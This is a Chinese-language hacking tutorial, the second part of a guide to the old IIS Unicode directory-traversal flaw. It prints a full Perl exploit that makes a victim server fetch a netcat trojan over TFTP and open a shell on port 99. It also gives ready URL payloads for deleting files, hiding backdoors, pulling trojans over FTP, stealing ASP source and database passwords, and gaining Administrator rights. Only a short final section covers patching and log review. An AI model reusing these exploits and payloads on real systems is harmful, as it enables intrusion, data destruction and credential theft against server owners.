|
UNICODE编码漏洞全攻略（下）
五、网络里可得到的一些UNICODE扫描程序的分析（续）
3、攻击型NIT_UNICODE软件套装
下载地址
http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip
压缩包里含有以下文件：
uni.pl -------扫描UNICODE编码漏洞的主PERL程序
uniexe.pl -----执行TFTP过程的PERL程序
ncx99.exe -----一个把telnet端口设置在99的netcat木马
tftpd32.exe -----TFTP设置软件
tftpd32.hlp -----帮助文件
flie_id.diz
vendinfo.diz
readme.file -----使用说明和例子
该程序包主要利用unicode编码漏洞，把ncx99.exe上传到目标主
机，并启动，使攻击
者可以通过telnet 目标主机的99端口，登陆到目标主机上进行攻
击行为。
以下程序在使用时需要修改一些东西，找到
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe
c:\\inetpub\\scripts\\nit.exe";
这句，把xxx.xxx.xxx.xxx.xxx修改为你的IP地址，然后存盘。
这句主要是把NCX99.EXE从你的主机改名传到目标主机
c:\inetpub\scripts\去。
另外还需要根据目标主机的NT版本，对程序里的..%c0%af..做相
应的修改，比如说
目标主机是WIN2K就修改为..%c1%1c..
#!/usr/bin/perl
# This is for educational purpose's only!
# WHO LET THEM DOGS OUT!
# Use uni.pl first to see if this is a vulnerable server!
# Based of the script unicodeexecute.pl from Roelof Temmngh
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme
use Socket;
if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
$failed=1;
$command="dir";
@results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n\cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe
c:\\inetpub\\scripts\\nit.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}
$command=@ARGV[1];
print "\n
Hit CTRL-C if this is Hanging";
$command=~s/ /\%20/g;
my @results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S> ){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# NIT IN THE YEAR 2000
六、unicode编码漏洞提高篇
并不是说有UNICODE编码漏洞，以下的方法就能完全成功，主要给你一种思考的
方式，做到活学活用,举一反三,繁衍出更多更好的利用方法,提高对目标主机攻
击成功机率,使UNICODE编码漏洞的危害性让管理员们更加重视。
读懂MCD帮助里面的内容尤其是这方面的内容：
请注意，如果字符串有引号，可以接受用命令分隔符 '&&' 隔开
的多个命令。并且，由于兼容原因，/X 与 /EN 相同，/Y 与
/EFF 相同，并且 /R 与 /C 相同。忽略任何其它命令选项。
如果指定了 /C 或 /K，命令选项后的命令行其余部分将作为命令行处
理；在这种情况下，会使用下列逻辑处理引号字符("):
1. 如果符合下列所有条件，那么在命令行上的引号字符将被
保留:
- 不带 /S 命令选项
- 整整两个引号字符
- 在两个引号字符之间没有特殊字符，特殊字符为下列中的
一个: <>()@^|
- 在两个引号字符之间有至少一个空白字符
- 在两个引号字符之间有至少一个可执行文件的名称。
2. 否则，老办法是，看第一个字符是否是一个引号字符，如果
是，舍去开头的字符并删除命令行上 的最后一个引号字符，
保留最后一个引号字符之后的文字。
再熟悉一下利用ECHO写入法把一些特殊字符写到文本文件的转换格式
<等于%3C >等于%3E /等于%2F \等于%5C =等于%3D +等于%2B (等于%28
)等于%29 #等于%23 $等于%24 %等于%25 ^等于%5E &等于%26 "等于%22
|等于%7C ;等于%3B '等于%27 :等于%3A ?等于%3F ,等于%2C ~等于%7E
!等于%21
另外三个字符可以直接写入 - @ *
警告：
以下所有方法具有严重的危险性，主机管理人员可以通过以下方法检测自己主机
的安全性，了解该漏洞的严重后果；个人HACK爱好者请在本机测试。
由于实验而造成的一切后果和法律纠纷，由实验者自己承担。
1、bat命令法
很多文章都没有介绍如何在unicode编码漏洞中如何利用BAT命令，实际上运用
批处理，可以执行很多在地址栏里无法执行的命令，并且可以简化你输入的过程。
例子：
baddel.bat
del /f /s /q c:\files\*.*
rd c:\files
我们可以这样建立和执行 http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+del%20/f%20/s%20/q%20c:\files\*.*>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+rd%20c:\files>>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+baddel
结果C盘里的files目录和文件都被删除了。
如果我们把批处理改为format d:/q之类的话，那么D盘就被格式化了。
同样，你可以运用批处理进行更多的攻击，那你就需要好好复习DOS的命令及应用了。
注意：上面第三行的代码就是执行baddel.bat，这里.bat不要输入
2、attrib的运用
用这命令查文件属性和修改文件的属性 http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm
运行后，我们可以看到index.htm的文件属性，往往有时我们无法修改这文件，是因为这文件设为只读。
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:\inetpub\wwwroot\index.htm
运行后，我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序
隐藏起来，并且管理没有设置所有文件可见，那么是不是很方便上传的东西不
被管理员发现呢？
注意这里%2b等于+ http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20-r%20-h%20d:\inetpub\wwwroot\index.htm
运行后解除文件的属性。
3、ftp的运用
有时我们需要从一个你有权限的FTP主机把你想用到的一些文件上传到目标主机去，
象ncx99.exe之类的,当然你要把这些文件放在你的空间先。
……/cmd.exe?/c+echo+open+*.*.*.*>badboy.txt
……/cmd.exe?/c+echo+user>>badboy.txt
……/cmd.exe?/c+echo+pass>>badboy.txt
……/cmd.exe?/c+echo+get+ncx99.exe>>badboy.txt
……/cmd.exe?/c+echo+bye>>badboy.txt
然后运行
……/cmd".exe?/c+ftp+-sadboy.txt
……/cmd.exe?/c+del badboy.txt
完成以上内容后ncx99.exe已经在inetpub/scripts目录里了
剩下的就看你怎么用软件了 http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\ncx99.exe
还等什么快telnet x.x.x.x 99
你还有什么垃圾软件，尽管放上去吧。
六、unicode编码漏洞提高篇(续)
4、TFTP运用
关于TFTP的运用我们在全攻略-5里面的工具介绍中介绍过，那工具可以在WIN9X
或者NT、WIN2K下执行，前提条件是需要你在本机上安装PERL服务器程序，这对
于一般的爱好者来说稍微有点困难。
实际上如果你是使用NT系统或者你拥有一台NT肉机的话，就可以使用WINNT＼SYSTEM32
下的TFTP.EXE这个软件了。
tftp/?
Transfers files to and from a remote computer running the TFTP service.
TFTP [-i] host [GET | PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when
transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
帮助是英文的，自己翻译吧。
在UNICODE上的命令代码：
http://x.x.x.x/scripts/tftp.exe?-i+127.0.0.1+get+ncx99.exe
你放什么软件都可以，我不喜欢木马，所以我也不再介绍你该传什么木马上去，然后
怎么启动，那样走题太远了。
5、ASP相关问题
一般情况下，NT机器绝大多数都会使用到ASP写的WEB程序和SQL数据库。
大家都知道ASP代码的泄露意味着你辛辛苦苦写的ASP源码被人无偿获得，同时你的站点
也很容易遭到黑手。ASP代码泄露的漏洞很多种，同样，在UNICODE编码漏洞下，你的ASP
源码同样可以极易被人获取。
假设你的index.asp是一个很好的程序，那么，入侵者可以通过type命令查看你的文件。
../cmd.exe?/type c:＼inetpub＼wwwroot＼index.asp
或者通过copy命令
../cmd.exe?/copy c:＼inetpub＼wwwroot＼index.asp c:＼inetpub＼wwwroot＼index.txt
然后直接下载你的源码，通过分析，找到你的数据库文件。
如果你是使用SQL服务来做数据库的，同样，入侵者可以通过查看你的ASP和global.asa
源码，通过分析，找到你的用户名和密码，然后通过SQL远程管理客户端进行攻击。
那么，你的商业秘密和网站的资料，还有什么安全可言呢？
入侵者还可以在你的主机里上传一个ASP后门程序（ASE，应该听说过和用过吧）并隐藏
起来，即使你以后补掉了UNICODE漏洞，入侵仍可在他的ASP后门程序在你未发现之前，
查看、修改、删除你主机上的WEB文件。
6、获得超级用户权限
可以通过下在你的SAM文件，利用一些黑客软件（如l0phtcrack）暴力破解。
也可以利用前面介绍的上传方法把gasys.dll、cmd.exe和getadmin.exe到目标主机，
然后通过一些软件或者方法获得目标主机的计算机名，再利用getadmin.exe把
iuser_计算机 升级为Administrator
/scripts/getadmin.exe?IUSR_计算机名
那还有什么事不可以做呢？已经等于完全控制这台主机了。
八、unicode安全问题
1、unicode漏洞解决方案
简单解决方案：
限制网络用户访问和调用CMD的权限，
在SCRIPTS、MSADC目录没必要使用的情况下，删除该文件夹或者改名。
安装NT系统时不要使用默认WINNT路径，你可以改为badboy或者其他什么的文件夹。
当然最好的方法还是下载最著名的补丁公司m$提供的补丁。
该漏洞补丁随微软安全公告MS00-057一起发布
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp)
可以从如下地址下载补丁:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp
2、检查是否被黑客利用unicode漏洞入侵
检查LOG日志
在winnt＼system32＼logfiles＼w3svc1＼目录里保留有web访问记录
如果曾经被人利用UNICODE漏洞访问过，我们可以在日志里看到类似的记录
13:46:07 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 401
13:46:07 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 200
如果有人曾经执行过COPY、del、echo、.bat等具有入侵行为命令时
13:47:37 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 401
13:47:37 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 502
在winnt/system32/logfiles＼msftp＼svc1目录里可以找到运行FTP的日志
如果有人执行过FTP命令，在日志文件里我可以看到类似的记录
13:59:25 127.0.0.1 [2]USER badboy 331
13:59:25 127.0.0.1 [2]PASS - 230
13:59:25 127.0.0.1 [2]sent /a.txt 226
13:59:25 127.0.0.1 [2]QUIT - 226
这里入侵爱好者请注意，你利用目标主机到某个站点FTP下载什么文件都是被记录
的，不要以为你删除文件、改文件名就可以逃脱你入侵的证据了。
我们不排除有可能入侵者使用代理服务器或者其他的肉机。
当然你知道自己被人利用UNICODE漏洞来入侵自己的主机，但在这些日志里你
无法找到记录，那你就更要注意了，因为你遇到的不是一般的小菜鸟了。
检查事件查看器里面的错误记录
我们也可以在管理工具的事件查看器里找到入侵者的足迹，比如在某个时段出现
比较多的警告信息。信息类似以下内容：
事件类型: 警告
事件来源: W3SVC
事件种类: 无
事件 ID: 100
日期: 2001-2-2
事件: 21:51:26
用户: N/A
计算机: CLUB-BUM1HOYJHJ
描述:
该服务器因为错误 登录失败: 未知的用户名或错误密码。 而无法登录至 Windows NT 帐号 ‘CLUB-BUM1HOYJHJ＼badboy‘。此数据为错误码。
若要获取关于此消息的更多的信息，请访问 Microsoft 联机支持站点:http://www.microsoft.com/contentredirect.asp
。
数据:
0000: 2e 05 00 00 .... |